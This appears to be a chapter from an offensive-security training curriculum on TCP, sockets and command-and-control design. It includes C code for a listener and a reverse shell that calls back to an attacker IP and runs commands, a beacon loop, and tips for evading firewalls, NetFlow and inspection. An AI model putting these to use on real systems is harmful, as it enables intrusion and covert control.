22nd Survey Division
Networking C2 Architecture Foundations

The Wire: TCP, Sockets, and How C2 Actually Works

George Wu ring-stack Phase 0 22nd Survey Division
Plain English
Every attack in this curriculum travels over a network. A reverse shell is a socket. A C2 beacon is a scheduled network connection. A lateral movement tool is a protocol. Before you can debug a shell that won't connect, you need to know what a socket is, what a port is, and what the three-way handshake is. This chapter is that foundation.

Validated ring-stack Phase 0 — TCP listener, reverse shell, all errors below are from live kill chain development against a real Windows 11 target at 192.168.1.61.

Why This Matters Before Everything Else

Every attack in this curriculum eventually reduces to the same five-node chain:

YOUR MACHINE → SOCKET → PACKET → NETWORK → TARGET PROCESS If the connection fails, nothing else matters. The shellcode runs but the shell drops? → Socket problem. The payload deploys but nothing comes back? → Firewall or port problem. The SMB exfil fails with Error 67? → Port 445 blocked at network boundary. The listener times out? → Reverse shell not calling home. You can fire weapons without knowing this layer. You cannot debug them without it. When something breaks — and it will — this is where the answer lives.

IP Addresses and Ports

An IP address identifies a machine on the network. A port is a 16-bit number (0–65535) that identifies a process on that machine. IP gets the packet to the right machine. The port number routes it to the right process. Both together are an endpoint.

PortProtocolAttack relevance
22SSHInitial access, lateral movement, SCP payload delivery. Used throughout ring-stack to push payloads from Parrot Linux to victim VM.
80 / 443HTTP / HTTPSBlend-in ports. Traffic on 443 looks like normal web browsing — IDS is less likely to flag it. Use for C2 callbacks in live ops instead of 4444.
445SMBWindows file shares. Pass-the-Hash (Phase 6) runs here. Exfil to \\attacker\share uses 445. Frequently blocked at network boundary — caused Error 67 in ring-stack kill chain.
4444C2 (Meterpreter default)Defender and IDS flag this port by name. Fine in a lab VM. Switch to 443 in anything live.
5985WinRM HTTPevil-winrm connects here. Required open for Phase 6 lateral movement via WinRM.
3389RDPRemote Desktop. Lateral movement option. Needs credentials or pass-the-hash.
1024–65535Ephemeral / highAbove 1024 = no admin needed to bind on Linux. Your listener binds here. Pick something that blends: 8080, 8443, 9001.

TCP: The Three-Way Handshake

TCP (Transmission Control Protocol) is the transport under our shells, listeners, and exfil operations. Before any data flows, the connection must complete a three-way handshake. If the handshake fails — wrong IP, wrong port, firewall blocking — nothing runs.

Attacker (192.168.1.151) Victim (192.168.1.61:4444) │ │ │──────────── SYN ──────────────────────────▶ │ "I want to connect" │ │ │ ◀─────────── SYN-ACK ───────────────────── │ "Ready, acknowledge me" │ │ │──────────── ACK ──────────────────────────▶ │ "Acknowledged" │ │ │ ◀══════════ DATA FLOWS ═══════════════════▶ │ Shell active If the SYN is dropped: → Firewall on the victim is blocking inbound port 4444 → Handshake never completes. Listener waits forever, nothing arrives. This is why reverse shells exist. The victim initiates the SYN — calling out to the attacker. Outbound traffic is almost never blocked on Windows. The victim calls home. The attacker answers.

Reverse shell vs bind shell

Reverse shell: victim connects to attacker. Outbound traffic is almost always allowed — Windows doesn't block outbound by default. The attacker runs a listener and waits for the victim to call home. This is the standard technique used throughout ring-stack.

Bind shell: attacker connects to a port the victim opened. Requires an inbound firewall rule open on the victim — rarely available on a hardened target. Not used in ring-stack.

Sockets in C — The Complete API

A socket is a file descriptor. You write bytes to it and they go across the network. You read bytes from it and they came from the other end. The OS handles routing, retransmission, and checksums. You just open, read, write, close. Same pattern as file I/O.

socket()
Create a socket. Returns a file descriptor (int on Linux, SOCKET on Windows). AF_INET = IPv4. SOCK_STREAM = TCP.
bind()
Claim a port on a specific address. Use INADDR_ANY (0.0.0.0) to accept on all interfaces. Must run before listen().
listen()
Mark socket as passive — ready to accept incoming SYNs. Second param = backlog queue depth. 1 is fine for single-client C2.
accept()
Blocks until a client completes the handshake. Returns a NEW socket for that connection. Original listening socket stays open.
connect()
Triggers the TCP handshake to the target IP:port. Blocks until connected or timeout. This is the "call home" in the reverse shell.
send() / recv()
Write/read bytes over the connection. On Linux also works with write()/read() since sockets are file descriptors.

Server side: the C2 listener (ring-stack Phase 1)

/* C2 Listener — Phase 1 core pattern */
int fd = socket(AF_INET, SOCK_STREAM, 0);          // create socket

// SO_REUSEADDR: lets you restart the listener without waiting for OS to free the port
int opt = 1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

struct sockaddr_in addr = {0};
addr.sin_family      = AF_INET;
addr.sin_port        = htons(4444);                // host-to-network byte order
addr.sin_addr.s_addr = INADDR_ANY;                 // accept on all interfaces

bind(fd, (struct sockaddr*)&addr, sizeof(addr));
listen(fd, 1);                                     // queue depth 1 = single connection

int client = accept(fd, NULL, NULL);               // BLOCKS until victim connects
// client = new socket for this specific connection
// recv(client, ...) reads victim's output
// send(client, ...) sends commands

Client side: the reverse shell (ring-stack Phase 2)

/* Reverse Shell — Phase 2 core pattern */
int fd = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in attacker = {0};
attacker.sin_family      = AF_INET;
attacker.sin_port        = htons(4444);
attacker.sin_addr.s_addr = inet_addr("192.168.1.151");  // attacker IP

connect(fd, (struct sockaddr*)&attacker, sizeof(attacker));  // call home
// fd is now a bidirectional channel to the attacker
// recv(fd, cmd, sizeof(cmd), 0)  → receives the command
// popen(cmd, "r")                → runs the command, reads output
// send(fd, output, len, 0)       → sends result back

Windows socket difference (Winsock)

On Windows: include winsock2.h instead of sys/socket.h. Call WSAStartup(MAKEWORD(2,2), &wsa) before any socket function — skipping this causes silent failure. Socket type is SOCKET, not int. Invalid socket is INVALID_SOCKET, not -1. Everything else is the same API.

The C2 Beacon Pattern

A C2 implant (einayim_kav, shellchain, cheyanne) doesn't maintain a permanent open connection — that's loud on the wire. It beacons: connects, checks for commands, executes if any, disconnects, sleeps, repeats.

C2 BEACON LOOP — what the implant does every cycle ────────────────────────────────────────────────────────────── 1. SLEEP — wait N seconds (jitter: randomise ±30%) 2. RESOLVE — DNS lookup of C2 domain (if domain-fronted) 3. CONNECT — TCP connect to C2 server (port 443) 4. SEND — HTTP POST: {beacon_id, hostname, username, priv} 5. RECEIVE — HTTP response body: command or empty 6. EXECUTE — if command: run it, collect output 7. SEND — HTTP POST: {beacon_id, output} 8. CLOSE — close TCP connection 9. goto 1 Why close and reconnect instead of keeping the socket open? A persistent TCP connection shows as an unusual long-lived flow in NetFlow. Short-lived HTTPS connections to a CDN look like normal browsing.

Real Errors from the Kill Chain

These fired during ring-stack development against a real Windows 11 target. Not hypothetical:

Connection refused
Nothing is listening on the target port. Either the listener isn't running, or it's listening on a different port/interface than expected.
Fix: verify listener is running with netstat -an. Check port matches. SO_REUSEADDR prevents "address already in use" on restart.
Connection timed out (listener waits forever)
SYN is being dropped by a firewall. The attacker sent SYN, victim firewall dropped it silently. No RST — just silence.
Fix: use a reverse shell (victim calls out on port 443/80). Outbound is almost never blocked. Inbound to 4444 usually is.
Error 67 — The network name cannot be found (SMB)
UNC path like \\attacker\share is trying to reach port 445, which is blocked between subnets at the network boundary.
Fix: switch exfil to HTTP (port 80/443) or use SCP over SSH port 22 which is already open. Don't rely on SMB across subnets.
Shell connects but drops immediately
Process exits before the shell can be used. Common when the shellcode thread spawns but the parent process exits, killing the thread.
Fix: WaitForSingleObject(thread, [uint32]::MaxValue). Do NOT use 0xFFFFFFFF directly in PowerShell — PS Int32 overflows. Use [uint32]::MaxValue instead.
send() returns -1 / WSAECONNRESET
The remote end closed the connection. The attacker closed the listener, or it crashed, or a firewall reset the connection mid-session.
Fix: add reconnect loop — on WSAECONNRESET, sleep and try connect() again. Production implants retry on any connection failure.

How Defenders See the Wire

Network-layer defences work on different signals depending on what they can see:

Detection layerWhat it seesWhat beats it
Port-based firewall rules Destination port number Use 443 (HTTPS). Blocked ports rarely include 443.
SNI inspection (TLS) Domain name in TLS handshake Domain fronting: CDN sees legitimate domain in SNI, C2 domain only in HTTP Host header inside TLS.
IP reputation / threat feeds Destination IP Route through CDN (Cloudflare). CDN IPs are trusted. C2 traffic is the CDN's incoming traffic.
NetFlow analysis Connection duration, byte counts, interval regularity Jitter: randomise sleep interval ±30%. Short connections: beacon then disconnect, not persistent session.
DPI (deep packet inspection) Application-layer content TLS encryption. Content inside TLS is opaque to DPI without certificate interception.

Further Reading